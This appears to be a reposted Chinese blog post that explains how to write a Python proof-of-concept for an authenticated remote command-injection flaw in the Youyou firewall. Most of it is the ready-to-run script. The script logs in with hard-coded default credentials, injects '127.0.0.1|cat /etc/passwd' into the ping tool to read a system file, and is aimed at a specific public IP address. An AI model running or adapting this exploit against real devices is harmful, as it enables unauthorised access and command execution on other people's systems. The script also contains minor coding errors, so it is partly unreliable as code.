Poc脚本佑友防火墙_后台远程命令执行漏洞

Posted 南瓜__pumpkin

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Poc脚本佑友防火墙_后台远程命令执行漏洞相关的知识,希望对你有一定的参考价值。

编写Poc脚本

编写过程

佑友防火墙存在后台命令注入漏洞,目前没有看到探测脚本,打算自己编写一个。

问题1:需要登陆后台,如何保证身份?session = requests.Session

登陆页面,查看前端代码,使用form表单提交username和password。但查看表单不如直接burp抓包,登陆抓包,根据HTTP数据包构造脚本。

登陆后找到【系统管理】-> 【维护工具】 -> 【Ping】,输入 127.0.0.1|cat /etc/passwd ,burp抓包得到HTTP数据包,根据数据包编写脚本。

如果不使用会话保持技术,会无法通过身份验证,程序会进行重定向操作。具体解决方式见问题2。解决证书和会话的问题之后,编写Poc脚本的任务就大功告成了,脚本详情见下方。

Poc脚本

# -*- coding:utf-8 -*-

import requests
import warnings
warnings.filterwarnings("ignore")
session = requests.Session()


class Poc:
    def __init__(self):
        self.poc_name = "youyou_firewall_rce"

    def login(self, schema, host, port):
        username = "admin"
        password = "hicomadmin"
        path = "/index.php?c=user&a=ajax_save"
        url = schema + "://" + host + ":" + str(port) + path
        data = {
            "username": username,
            "password": password,
            "language": "zh-cn"
        }
        try:
            session.post(url, data=data, verify=False)
        except exceptions as e:
            print("[-]" + self.poc_name + " error:" + e)

    def exec_cmd(self, schema, host, port):
        path = "/index.php?c=maintain&a=ping"
        url = schema + "://" + host + ":" + str(port) + path
        data = {
            "interface": "",
            "destip": "127.0.0.1|cat /etc/passwd"
        }
        try:
            resp = session.post(url, data=data, verify=False)
            session.close()
            if "root" in resp.content:
                print("[+]" + self.poc_name + " is exist")
            else:
                print("[-]" + self.poc_name + "is not exist")
        except exceptions as e:
            print("[-]" + self.poc_name + " error:" + e)


def scan(schema, host, port):
    poc = Poc()
    poc.login(schema, host, port)
    poc.exec_cmd(schema, host, port)


if __name__ == "__main__":
    scan("https", "220.180.234.28", "888")

编写脚本遇到的问题

问题1:证书过期导致访问错误

错误:requests.post()访问时报错。
错误类型:requests.exceptions.SSLError
错误信息关键词:CertificateError,SSL: CERTIFICATE_VERIFY_FAILED

报错原因:网站HTTPS证书过期
解决方式:Python的requests访问网站时会先检测HTTPS证书,设置选项verify不检测证书,requests.post(verify=False)。

不检测证书,Python会警告,可以使用 warning 模块忽略警告,观感比较好。

import warnings
warnings.filterwarnings("ignore")


问题2:会话保持

对于身份验证的网站,使用脚本登陆后难以动态获得Cookie,导致难以继续访问和执行操作。在Python中,可以使用 requests 模块的会话保持技术,保留登陆时的会话 session,保证访问和操作的连贯性。

使用方式:创建一个 session 对象,然后通过 session 对象进行访问。

session = requests.Session()

resp = session.post(url)

session.close()

以上是关于Poc脚本佑友防火墙_后台远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Pikachu-RCE(远程命令/代码执行漏洞)

ThinkPHP 5.x远程命令执行漏洞

H3C IMC 命令执行 Poc

通告更新Apache Solr模板注入远程代码执行漏洞安全风险通告

Struts2 基于Jakarta的远程命令执行漏洞(附Poc&Exp)

s2-048远程代码执行漏洞